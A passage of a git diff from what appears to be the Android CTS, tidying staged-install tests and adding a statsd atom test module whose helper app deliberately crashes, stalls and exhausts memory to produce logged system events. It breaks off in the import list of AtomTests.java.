     private void waitForIsReadyBroadcast(int sessionId) {
         Log.i(TAG, "Waiting for session " + sessionId + " to be ready");
-        try {
-            PackageInstaller.SessionInfo info = waitForBroadcast(sessionId);
-            assertThat(info).isStagedSessionReady();
-        } catch (Exception e) {
-            throw new AssertionError(e);
-        }
+        PackageInstaller.SessionInfo info = waitForBroadcast(sessionId);
+        assertThat(info).isStagedSessionReady();
     }
 
-    private PackageInstaller.SessionInfo waitForBroadcast(int sessionId) throws Exception {
-        PackageInstaller.SessionInfo info =
-                SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(60, TimeUnit.SECONDS);
-        assertWithMessage("Timed out while waiting for session to get ready")
-                .that(info).isNotNull();
-        assertThat(info.getSessionId()).isEqualTo(sessionId);
-        return info;
-    }
-
-    private void assertNoSessionCommitBroadcastSent() throws Exception {
-        PackageInstaller.SessionInfo info =
-                SessionUpdateBroadcastReceiver.sessionCommittedBroadcasts.poll(10,
-                        TimeUnit.SECONDS);
-        assertThat(info).isNull();
-    }
-
-    private void assertNoSessionUpdatedBroadcastSent() throws Exception {
-        PackageInstaller.SessionInfo info =
-                SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(10,
-                        TimeUnit.SECONDS);
-        assertThat(info).isNull();
+    private PackageInstaller.SessionInfo waitForBroadcast(int sessionId) {
+        return InstallUtils.waitForSession(sessionId);
     }
 }
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index 209cb6a..66f2510 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -588,8 +588,6 @@
     @Test
     @LargeTest
     public void testInstallApkChangingFingerprint() throws Exception {
-        assumeThat(getDevice().getBuildFlavor(), not(endsWith("-user")));
-
         try {
             getDevice().executeShellCommand("setprop persist.pm.mock-upgrade true");
             runPhase("testInstallApkChangingFingerprint");
@@ -660,6 +658,16 @@
         runPhase("testApexWithUnsignedPayloadFailsVerification");
     }
 
+    @Test
+    @LargeTest
+    public void testApexSetsUpdatedSystemAppFlag() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testApexSetsUpdatedSystemAppFlag_preUpdate");
+        installV2Apex();
+        runPhase("testApexSetsUpdatedSystemAppFlag_postUpdate");
+    }
+
     /**
      * Test non-priv apps cannot access /data/app-staging folder contents
      */
diff --git a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/Android.bp b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/Android.bp
index 9a926c1..40b99db 100644
--- a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/Android.bp
+++ b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/Android.bp
@@ -13,13 +13,7 @@
 // limitations under the License.
 
 package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
+    default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 android_app_import {
diff --git a/hostsidetests/stagedinstall/testdata/apk/StagedInstallTestAppSamePackageNameAsApex.xml b/hostsidetests/stagedinstall/testdata/apk/StagedInstallTestAppSamePackageNameAsApex.xml
index 2954538..6aa9b5b 100644
--- a/hostsidetests/stagedinstall/testdata/apk/StagedInstallTestAppSamePackageNameAsApex.xml
+++ b/hostsidetests/stagedinstall/testdata/apk/StagedInstallTestAppSamePackageNameAsApex.xml
@@ -22,7 +22,8 @@
     <uses-sdk android:minSdkVersion="19" />
 
     <application android:label="StagedInstall Test App With Same Package Name As Apex">
-        <activity android:name="com.android.tests.stagedinstall.testapp.MainActivity">
+        <activity android:name="com.android.tests.stagedinstall.testapp.MainActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
diff --git a/hostsidetests/statsdatom/Android.bp b/hostsidetests/statsdatom/Android.bp
new file mode 100644
index 0000000..cd65f53
--- /dev/null
+++ b/hostsidetests/statsdatom/Android.bp
@@ -0,0 +1,83 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsStatsdAtomHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/alarm/*.java",
+        "src/**/appops/*.java",
+        "src/**/appstart/*.java",
+        "src/**/batterycycle/*.java",
+        "src/**/binderstats/*.java",
+        "src/**/bluetooth/*.java",
+        "src/**/cpu/*.java",
+        "src/**/devicepower/*.java",
+        "src/**/gnss/*.java",
+        "src/**/jobscheduler/*.java",
+        "src/**/integrity/*.java",
+        "src/**/memory/*.java",
+        "src/**/net/*.java",
+        "src/**/notification/*.java",
+        "src/**/perfetto/*.java",
+        "src/**/permissionstate/*.java",
+        "src/**/settingsstats/*.java",
+        "src/**/statsd/*.java",
+        "src/**/telephony/*.java",
+        "src/**/wifi/*.java",
+        "src/**/incremental/*.java",
+    ],
+
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+
+    libs: [
+        "compatibility-host-util",
+        "core_cts_test_resources",
+        "cts-tradefed",
+        "host-libprotobuf-java-full",
+        "platformprotos",
+        "tradefed",
+        "truth-prebuilt",
+    ],
+
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+        "perfetto_config-full",
+    ],
+
+    data: [
+        ":CtsStatsdAtomApp",
+        ":CtsStatsdApp", //TODO(b/163546661): Remove once migration to new lib is complete.
+    ]
+}
+
+java_library_host {
+    name: "cts-statsd-atom-host-test-utils",
+    srcs: ["src/**/lib/*.java"],
+    libs: [
+        "compatibility-host-util",
+        "cts-tradefed",
+        "host-libprotobuf-java-full",
+        "platformprotos",
+        "tradefed",
+        "truth-prebuilt",
+    ],
+}
diff --git a/hostsidetests/statsdatom/AndroidTest.xml b/hostsidetests/statsdatom/AndroidTest.xml
new file mode 100644
index 0000000..e353d1a
--- /dev/null
+++ b/hostsidetests/statsdatom/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS statsd atom hostside tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="statsd" />
+    <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsStatsdAtomHostTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/statsdatom/OWNERS b/hostsidetests/statsdatom/OWNERS
new file mode 100644
index 0000000..47cdda9
--- /dev/null
+++ b/hostsidetests/statsdatom/OWNERS
@@ -0,0 +1,10 @@
+# Bug component: 366902
+jeffreyhuang@google.com
+jtnguyen@google.com
+muhammadq@google.com
+ruchirr@google.com
+singhtejinder@google.com
+tsaichristine@google.com
+yro@google.com
+
+per-file apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java = file:platform/frameworks/base:/core/java/android/permission/OWNERS
diff --git a/hostsidetests/statsdatom/TEST_MAPPING b/hostsidetests/statsdatom/TEST_MAPPING
new file mode 100644
index 0000000..a9505f5
--- /dev/null
+++ b/hostsidetests/statsdatom/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit-large" : [
+    {
+      "name" : "CtsStatsdAtomHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/Android.bp b/hostsidetests/statsdatom/apps/statsdapp/Android.bp
new file mode 100644
index 0000000..2cd2fa0
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/Android.bp
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_library_shared {
+    name: "liblmkhelper_statsdatom", //TODO(b/163546661): rename back to liblmkhelper.
+    srcs: ["jni/alloc_stress_activity.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    header_libs: ["jni_headers"],
+    shared_libs: ["liblog"],
+    stl: "c++_static",
+    sdk_version: "current",
+}
+
+cc_library_shared {
+    name: "libcrashhelper",
+    srcs: ["jni/crash_activity.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    header_libs: ["jni_headers"],
+    stl: "c++_static",
+    sdk_version: "current",
+}
+
+android_test_helper_app {
+    name: "CtsStatsdAtomApp",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    min_sdk_version: "28",
+    srcs: [
+        "src/**/*.java",
+        ":statslog-statsdatom-cts-java-gen",
+    ],
+    libs: [
+        "android.test.runner",
+        "junit",
+        "org.apache.http.legacy",
+    ],
+    privileged: true,
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.legacy_legacy-support-v4",
+        "androidx.test.rules",
+        "cts-net-utils",
+    ],
+    jni_libs: [
+        "liblmkhelper_statsdatom",
+        "libcrashhelper",
+    ],
+    compile_multilib: "both",
+    v4_signature: true,
+}
+
+genrule {
+    name: "statslog-statsdatom-cts-java-gen",
+    tools: ["stats-log-api-gen"],
+    cmd: "$(location stats-log-api-gen) --java $(out) --module cts --javaPackage com.android.server.cts.device.statsdatom --javaClass StatsLogStatsdCts",
+    out: ["com/android/server/cts/device/statsdatom/StatsLogStatsdCts.java"],
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/AndroidManifest.xml b/hostsidetests/statsdatom/apps/statsdapp/AndroidManifest.xml
new file mode 100644
index 0000000..392841e
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/AndroidManifest.xml
@@ -0,0 +1,124 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.server.cts.device.statsdatom"
+     android:versionCode="10">
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.BLUETOOTH"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_ADVERTISE"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
+    <uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"/>
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.CONFIGURE_DISPLAY_BRIGHTNESS"/>
+    <uses-permission android:name="android.permission.DUMP"/> <!-- must be granted via pm grant -->
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.READ_SYNC_STATS"/>
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+    <uses-permission android:name="android.permission.VIBRATE"/>
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+    <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+    <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
+
+    <application android:label="@string/app_name">
+        <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="org.apache.http.legacy"
+             android:required="false"/>
+
+        <service android:name=".StatsdCtsBackgroundService"
+             android:exported="true"/>
+        <service android:name=".LmkVictimBackgroundService"
+             android:process=":lmk_victim"
+             android:exported="true"/>
+        <activity android:name=".StatsdCtsForegroundActivity"
+             android:exported="true"/>
+        <service android:name=".StatsdCtsForegroundService"
+             android:foregroundServiceType="camera"
+             android:exported="true"/>
+
+        <activity android:name=".VideoPlayerActivity"
+             android:label="@string/app_name"
+             android:resizeableActivity="true"
+             android:supportsPictureInPicture="true"
+             android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation"
+             android:launchMode="singleTop"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name=".DaveyActivity"
+             android:exported="true"/>
+        <activity android:name=".ANRActivity"
+             android:label="ANR Test Activity"
+             android:launchMode="singleInstance"
+             android:process=":ANRProcess"
+             android:exported="true"/>
+
+        <service android:name=".StatsdAuthenticator"
+             android:exported="false">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator"/>
+            </intent-filter>
+
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                 android:resource="@xml/authenticator"/>
+        </service>
+        <service android:name="StatsdSyncService"
+             android:exported="false">
+            <intent-filter>
+                <action android:name="android.content.SyncAdapter"/>
+            </intent-filter>
+            <meta-data android:name="android.content.SyncAdapter"
+                 android:resource="@xml/syncadapter"/>
+        </service>
+
+        <provider android:name=".StatsdProvider"
+             android:authorities="com.android.server.cts.device.statsdatom.provider"/>
+
+        <service android:name=".StatsdJobService"
+             android:permission="android.permission.BIND_JOB_SERVICE"/>
+
+        <service android:name=".DummyCallscreeningService"
+             android:permission="android.permission.BIND_SCREENING_SERVICE"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.telecom.CallScreeningService"/>
+            </intent-filter>
+        </service>
+
+        <service android:name=".IsolatedProcessService"
+             android:isolatedProcess="true"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.server.cts.device.statsdatom"
+         android:label="CTS tests of android.os.statsdatom stats collection">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+</manifest>
diff --git a/hostsidetests/statsdatom/apps/statsdapp/jni/alloc_stress_activity.cpp b/hostsidetests/statsdatom/apps/statsdapp/jni/alloc_stress_activity.cpp
new file mode 100644
index 0000000..0a005af
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/jni/alloc_stress_activity.cpp
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include <algorithm>
+#include <cstring>
+#include <fstream>
+#include <iostream>
+#include <jni.h>
+#include <numeric>
+#include <sstream>
+#include <string>
+#include <tuple>
+#include <unistd.h>
+
+#include <android/log.h>
+#define LOG(...) __android_log_write(ANDROID_LOG_INFO, "ALLOC-STRESS", __VA_ARGS__)
+
+using namespace std;
+
+size_t s = 8 * (1 << 20); // 8 MB
+void *gptr;
+extern "C" JNIEXPORT void JNICALL
+Java_com_android_server_cts_device_statsdatom_StatsdCtsForegroundActivity_cmain(
+        JNIEnv *, jobject /* this */) {
+    long long allocCount = 0;
+    while (1) {
+        char *ptr = (char *)malloc(s);
+        memset(ptr, (int)allocCount >> 10, s);
+        for (int i = 0; i < s; i += 4096) {
+            *((long long *)&ptr[i]) = allocCount + i;
+        }
+        allocCount += s;
+        std::stringstream ss;
+        ss << "total alloc: " << allocCount / (1 << 20);
+        LOG(ss.str().c_str());
+        gptr = ptr;
+
+        // If we are too aggressive allocating, we will end up triggering the
+        // OOM reaper instead of LMKd.
+        usleep(1000);
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/jni/crash_activity.cpp b/hostsidetests/statsdatom/apps/statsdapp/jni/crash_activity.cpp
new file mode 100644
index 0000000..f213738
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/jni/crash_activity.cpp
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include <jni.h>
+#include <signal.h>
+
+extern "C" JNIEXPORT void JNICALL
+Java_com_android_server_cts_device_statsdatom_StatsdCtsForegroundActivity_segfault(
+        JNIEnv*, jobject /* this */) {
+    raise(SIGSEGV);
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/res/layout/activity_davey.xml b/hostsidetests/statsdatom/apps/statsdapp/res/layout/activity_davey.xml
new file mode 100644
index 0000000..064f808
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/res/layout/activity_davey.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:custom="http://schemas.android.com/apk/res/com.android.server.cts.device.statsdatom"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+  <com.android.server.cts.device.statsdatom.DaveyView
+      android:id="@+id/davey_view"
+      android:layout_width="match_parent"
+      android:layout_height="match_parent"
+      custom:causeDavey="false" />
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/res/layout/activity_main.xml b/hostsidetests/statsdatom/apps/statsdapp/res/layout/activity_main.xml
new file mode 100644
index 0000000..a029c80
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/res/layout/activity_main.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="fill_parent"
+    android:layout_height="fill_parent"
+    android:orientation="vertical">
+
+    <FrameLayout
+        android:id="@+id/video_frame"
+        android:layout_width="fill_parent"
+        android:layout_height="fill_parent">
+
+        <VideoView
+            android:id="@+id/video_player_view"
+            android:layout_width="fill_parent"
+            android:layout_height="fill_parent" />
+    </FrameLayout>
+</RelativeLayout>
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/res/raw/colors_video.mp4 b/hostsidetests/statsdatom/apps/statsdapp/res/raw/colors_video.mp4
new file mode 100644
index 0000000..0bec670
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/res/raw/colors_video.mp4
Binary files differ
diff --git a/hostsidetests/statsdatom/apps/statsdapp/res/raw/good.mp3 b/hostsidetests/statsdatom/apps/statsdapp/res/raw/good.mp3
new file mode 100644
index 0000000..d20f772
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/res/raw/good.mp3
Binary files differ
diff --git a/hostsidetests/statsdatom/apps/statsdapp/res/values/attrs.xml b/hostsidetests/statsdatom/apps/statsdapp/res/values/attrs.xml
new file mode 100644
index 0000000..e769146
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/res/values/attrs.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<resources>
+  <declare-styleable name="DaveyView">
+    <attr name="causeDavey" format="boolean" />
+  </declare-styleable>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/res/values/strings.xml b/hostsidetests/statsdatom/apps/statsdapp/res/values/strings.xml
new file mode 100644
index 0000000..9dde420
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android"
+           xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="app_name">CTS Statsd Atoms App</string>
+</resources>
diff --git a/hostsidetests/statsdatom/apps/statsdapp/res/xml/authenticator.xml b/hostsidetests/statsdatom/apps/statsdapp/res/xml/authenticator.xml
new file mode 100644
index 0000000..13a2287
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/res/xml/authenticator.xml
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+          http://www.apache.org/licenses/LICENSE-2.0
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="com.android.cts.statsdatom"
+    android:label="@string/app_name" />
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/res/xml/syncadapter.xml b/hostsidetests/statsdatom/apps/statsdapp/res/xml/syncadapter.xml
new file mode 100644
index 0000000..d91d4c7
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/res/xml/syncadapter.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android"
+    android:contentAuthority= "com.android.server.cts.device.statsdatom.provider"
+    android:accountType="com.android.cts.statsdatom"
+/>
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/ANRActivity.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/ANRActivity.java
new file mode 100644
index 0000000..330cdb4
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/ANRActivity.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.view.WindowManager;
+
+public class ANRActivity extends Activity {
+    private static final String TAG = "ANRActivity";
+    private static final String ACTION_ANR = "action_anr";
+
+
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+
+        registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                while (true) {
+                  SystemClock.sleep(2);
+                }
+            }
+        }, new IntentFilter(ACTION_ANR));
+
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+                | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
+                | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
+                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
new file mode 100644
index 0000000..a6cbe23
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
@@ -0,0 +1,1448 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.app.ActivityManager;
+import android.app.ActivityManager.RunningServiceInfo;
+import android.app.AlarmManager;
+import android.app.AppOpsManager;
+import android.app.PendingIntent;
+import android.app.job.JobInfo;
+import android.app.job.JobScheduler;
+import android.bluetooth.BluetoothAdapter;
